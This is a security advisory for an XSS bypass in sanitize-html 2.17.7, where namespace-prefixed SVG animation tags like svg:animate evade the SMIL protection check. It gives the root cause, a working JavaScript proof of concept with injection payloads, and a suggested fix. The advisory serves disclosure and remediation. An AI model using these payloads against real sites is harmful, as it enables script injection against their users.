GHSA-374f-7chj-9948

Description

## Summary sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`). ## Root Cause The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection. Ironically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(":") + 1)` — but this same stripping was not applied to the tag name itself. ## Proof of Concept ```javascript const sanitizeHtml = require("sanitize-html"); const config = { allowedTags: false, allowedAttributes: false, allowedSchemes: ["http", "https"] }; // Standard animate — BLOCKED by 2.17.7 fix const blocked = sanitizeHtml( `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`, config ); console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED"); // Output: BLOCKED // Namespace-prefixed animate — BYPASSES the fix const bypassed = sanitizeHtml( `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`, config ); console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED"); // Output: BYPASS ``` All 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo. ## Impact Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `<svg:animate attributeName="href" values="#safe;javascript:..." .../>` to override the `href` attribute of a parent `<a>` element after the page loads, causing the link to execute JavaScript when clicked. ## Suggested Fix Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target: ```javascript // Before (vulnerable): if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) { // After (fixed): const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1); if (svgAnimationTags.indexOf(localTagName) === -1) { ``` ## Affected Versions sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely. ## Credit Kai Aizen (SnailSploit) — Adversarial AI & Security Research